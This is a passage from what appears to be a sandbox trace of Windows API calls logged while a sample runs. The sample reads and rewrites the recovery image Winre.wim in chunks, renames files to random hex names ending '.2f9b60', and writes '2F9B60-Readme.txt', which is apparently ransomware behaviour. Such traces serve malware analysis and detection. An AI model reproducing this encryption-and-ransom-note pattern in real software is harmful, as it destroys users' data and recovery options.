| out: _Dest="46") returned 2 [0166.428] RtlInitAnsiString (in: DestinationString=0x21c5fba8, SourceString="6c667d6a3af8e0b068fe802ba4497546" | out: DestinationString="6c667d6a3af8e0b068fe802ba4497546") [0166.428] RtlAnsiStringToUnicodeString (in: DestinationString=0x21c5fb78, SourceString="6c667d6a3af8e0b068fe802ba4497546", AllocateDestinationString=1 | out: DestinationString="6c667d6a3af8e0b068fe802ba4497546") returned 0x0 [0166.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059ce0 [0166.429] RtlFreeAnsiString (AnsiString="6") [0166.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4540) returned 1 [0166.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0166.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4570) returned 1 [0166.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc6d0) returned 1 [0166.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2de0) returned 1 [0166.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2ed0) returned 1 [0166.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b680) returned 1 [0166.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced92b0) returned 1 [0166.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b5c0) returned 1 [0166.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2f0) returned 1 [0166.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b620) returned 1 [0166.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85b880 [0166.432] wcscat (in: _Dest=0x1b85b880, _Source="6c667d6a" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\6c667d6a") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\6c667d6a" [0166.432] wcscat (in: _Dest=0x1b85b880, _Source=".2f9b60" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\6c667d6a.2f9b60") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\6c667d6a.2f9b60" [0166.432] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\6c667d6a.2f9b60", NtPathName=0x21c5fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\6c667d6a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0166.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b8630c0 [0183.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8630c0) returned 1 [0183.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19ff0) returned 1 [0183.341] NtQueryInformationFile (in: FileHandle=0x9c0, IoStatusBlock=0x21c5fbb8, FileInformation=0x21c5fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21c5fbb8, FileInformation=0x21c5fbc8) returned 0x0 [0183.341] NtSetInformationFile (FileHandle=0x9c0, IoStatusBlock=0x21c5fbb8, FileInformation=0x21c5fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0187.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b880) returned 1 [0187.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0187.817] FlushFileBuffers (hFile=0x9c0) returned 1 [0187.837] CloseHandle (hObject=0x9c0) returned 1 [0199.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4b2f0 [0199.835] wcscpy (in: _Dest=0x1cf4b2f0, _Source="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0199.835] wcscat (in: _Dest=0x1cf4b2f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\2F9B60-Readme.txt") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\2F9B60-Readme.txt" [0199.835] GetFileAttributesW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\2F9B60-Readme.txt" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\2f9b60-readme.txt")) returned 0xffffffff [0199.835] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\2F9B60-Readme.txt" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x127c [0204.085] WriteFile (in: hFile=0x127c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x21c5fa70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x21c5fa70*=0xba9, lpOverlapped=0x0) returned 1 [0209.384] CloseHandle (hObject=0x127c) returned 1 [0216.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b2f0) returned 1 [0216.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e4f0) returned 1 Thread: id = 251 os_tid = 0xd1c [0087.717] GetFileAttributesW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim")) returned 0x2006 [0087.739] SetFileAttributesW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim", dwFileAttributes=0x20) returned 1 [0087.739] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9c4 [0087.739] GetFileSizeEx (in: hFile=0x9c4, lpFileSize=0x1e3cfc00 | out: lpFileSize=0x1e3cfc00*=169213970) returned 1 [0087.740] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0xa16000e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.740] ReadFile (in: hFile=0x9c4, lpBuffer=0x1e3cfb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e3cfbc8, lpOverlapped=0x0 | out: lpBuffer=0x1e3cfb80*, lpNumberOfBytesRead=0x1e3cfbc8*=0x4, lpOverlapped=0x0) returned 1 [0087.753] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5f0 [0087.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b530 [0087.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b650 [0087.754] NtQuerySystemTime (in: CurrentTime=0x1e3cfac0 | out: CurrentTime=0x1e3cfac0*=132462176936230000) returned 0x0 [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x6917f160 [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x310edb82 [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x19b29a51 [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x24387b6b [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x58b4573b [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x3343e79c [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x7d3ef918 [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x307778fa [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x16cdd500 [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x7761a94a [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x36ab090d [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0xa196c43 [0087.754] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x6fcdec [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x2408cbea [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x355632ad [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x2fc3f921 [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x67f40bb8 [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x4c4c7c98 [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x170c662 [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0xf161ba9 [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x1404a7fa [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x1f13ff4b [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x28b1f15b [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x47e7daac [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x7361e737 [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x35fc9b9 [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0xea66c71 [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x3d64f701 [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x25a8f046 [0087.755] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x34ca6da9 [0087.756] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x59441401 [0087.756] RtlRandomEx (in: Seed=0x1e3cfab0 | out: Seed=0x1e3cfab0) returned 0x1b533757 [0087.772] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.772] ReadFile (in: hFile=0x9c4, lpBuffer=0x1ce1a0e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e3cfb20, lpOverlapped=0x0 | out: lpBuffer=0x1ce1a0e0*, lpNumberOfBytesRead=0x1e3cfb20*=0x3c00, lpOverlapped=0x0) returned 1 [0087.779] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0087.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0087.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aa20 [0087.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aa20) returned 1 [0087.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce21cf0 [0087.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aa20 [0087.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5f0 [0087.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b5f0) returned 1 [0087.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0087.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0087.779] WriteFile (in: hFile=0x9c4, lpBuffer=0x1ce21cf0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e3cfb20, lpOverlapped=0x0 | out: lpBuffer=0x1ce21cf0*, lpNumberOfBytesWritten=0x1e3cfb20*=0x3c00, lpOverlapped=0x0) returned 1 [0099.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21cf0) returned 1 [0099.258] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x50b2c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.258] ReadFile (in: hFile=0x9c4, lpBuffer=0x1ce1a0e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e3cfb20, lpOverlapped=0x0 | out: lpBuffer=0x1ce1a0e0*, lpNumberOfBytesRead=0x1e3cfb20*=0x3c00, lpOverlapped=0x0) returned 1 [0099.575] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x50b2c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0099.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869440 [0099.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262120 [0099.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262120) returned 1 [0099.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce7f1d0 [0099.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262120 [0099.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621b0 [0099.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202621b0) returned 1 [0099.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869440) returned 1 [0099.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0099.576] WriteFile (in: hFile=0x9c4, lpBuffer=0x1ce7f1d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e3cfb20, lpOverlapped=0x0 | out: lpBuffer=0x1ce7f1d0*, lpNumberOfBytesWritten=0x1e3cfb20*=0x3c00, lpOverlapped=0x0) returned 1 [0099.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce7f1d0) returned 1 [0099.817] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0xa15c412, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.818] ReadFile (in: hFile=0x9c4, lpBuffer=0x1ce1a0e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e3cfb20, lpOverlapped=0x0 | out: lpBuffer=0x1ce1a0e0*, lpNumberOfBytesRead=0x1e3cfb20*=0x3c00, lpOverlapped=0x0) returned 1 [0100.391] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0xa15c412, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978a0 [0100.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869d40 [0100.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d500b0 [0100.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c20 [0100.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bf0 [0100.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bf0) returned 1 [0100.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869d40) returned 1 [0100.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978a0) returned 1 [0100.826] WriteFile (in: hFile=0x9c4, lpBuffer=0x41d500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e3cfb20, lpOverlapped=0x0 | out: lpBuffer=0x41d500b0*, lpNumberOfBytesWritten=0x1e3cfb20*=0x3c00, lpOverlapped=0x0) returned 1 [0159.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d500b0) returned 1 [0159.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b8645a0 [0159.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c20) returned 1 [0159.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262120) returned 1 [0159.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aa20) returned 1 [0159.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1a0e0) returned 1 [0159.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aa20 [0159.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0159.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308100 [0159.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2f00 [0159.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2f00) returned 1 [0159.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2f00 [0159.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2f60 [0159.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ff0 [0159.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2ff0) returned 1 [0159.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42308100) returned 1 [0159.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0159.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x144) returned 0x1cebc820 [0159.159] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0159.159] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cebc820*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x1e3cfbd0, lpOverlapped=0x0 | out: lpBuffer=0x1cebc820*, lpNumberOfBytesWritten=0x1e3cfbd0*=0x144, lpOverlapped=0x0) returned 1 [0162.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058790 [0162.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0162.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a960 [0162.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a960) returned 1 [0162.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d1c0 [0162.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a960 [0162.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b6e0 [0162.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b6e0) returned 1 [0162.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0162.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058790) returned 1 [0162.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b82b6e0 [0162.698] sprintf (in: _Dest=0x1b82b6e0, _Format="%c%c" | out: _Dest="05") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6e2, _Format="%c%c" | out: _Dest="5b") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6e4, _Format="%c%c" | out: _Dest="67") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6e6, _Format="%c%c" | out: _Dest="74") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6e8, _Format="%c%c" | out: _Dest="a1") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6ea, _Format="%c%c" | out: _Dest="2d") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6ec, _Format="%c%c" | out: _Dest="40") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6ee, _Format="%c%c" | out: _Dest="69") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6f0, _Format="%c%c" | out: _Dest="ea") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6f2, _Format="%c%c" | out: _Dest="5b") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6f4, _Format="%c%c" | out: _Dest="cd") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6f6, _Format="%c%c" | out: _Dest="53") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6f8, _Format="%c%c" | out: _Dest="e8") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6fa, _Format="%c%c" | out: _Dest="17") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6fc, _Format="%c%c" | out: _Dest="f5") returned 2 [0162.698] sprintf (in: _Dest=0x1b82b6fe, _Format="%c%c" | out: _Dest="cb") returned 2 [0162.699] sprintf (in: _Dest=0x1b82b700, _Format="%c%c" | out: _Dest="13") returned 2 [0162.699] sprintf (in: _Dest=0x1b82b702, _Format="%c%c" | out: _Dest="95") returned 2 [0162.699] RtlInitAnsiString (in: DestinationString=0x1e3cfc48, SourceString="055b6774a12d4069ea5bcd53e817f5cb1395" | out: DestinationString="055b6774a12d4069ea5bcd53e817f5cb1395") [0162.699] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e3cfc18, SourceString="055b6774a12d4069ea5bcd53e817f5cb1395", AllocateDestinationString=1 | out: DestinationString="055b6774a12d4069ea5bcd53e817f5cb1395") returned 0x0 [0162.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd86850 [0162.699] RtlFreeAnsiString (AnsiString="0") [0162.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b6e0) returned 1 [0162.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0162.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a960) returned 1 [0162.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc820) returned 1 [0162.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2f00) returned 1 [0162.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2f60) returned 1 [0162.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aa20) returned 1 [0162.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8645a0) returned 1 [0162.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b530) returned 1 [0162.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b470) returned 1 [0162.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0162.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3100 [0162.703] wcscat (in: _Dest=0x1ced3100, _Source="055b6774a" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\055b6774a") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\055b6774a" [0162.703] wcscat (in: _Dest=0x1ced3100, _Source=".2f9b60" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\055b6774a.2f9b60") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\055b6774a.2f9b60" [0162.703] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\055b6774a.2f9b60", NtPathName=0x1e3cfbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\055b6774a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0162.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050c5b0 [0164.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c5b0) returned 1 [0164.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1b800) returned 1 [0164.744] NtQueryInformationFile (in: FileHandle=0x9c4, IoStatusBlock=0x1e3cfc58, FileInformation=0x1e3cfc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e3cfc58, FileInformation=0x1e3cfc68) returned 0x0 [0164.744] NtSetInformationFile (FileHandle=0x9c4, IoStatusBlock=0x1e3cfc58, FileInformation=0x1e3cfc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3100) returned 1 [0164.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86850) returned 1 [0164.746] FlushFileBuffers (hFile=0x9c4) returned 1 [0166.276] CloseHandle (hObject=0x9c4) returned 1 [0200.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x431d9ec0 [0200.298] wcscpy (in: _Dest=0x431d9ec0, _Source="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0200.298] wcscat (in: _Dest=0x431d9ec0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\2F9B60-Readme.txt") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\2F9B60-Readme.txt" [0200.298] GetFileAttributesW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\2F9B60-Readme.txt" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\2f9b60-readme.txt")) returned 0x2020 [0204.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 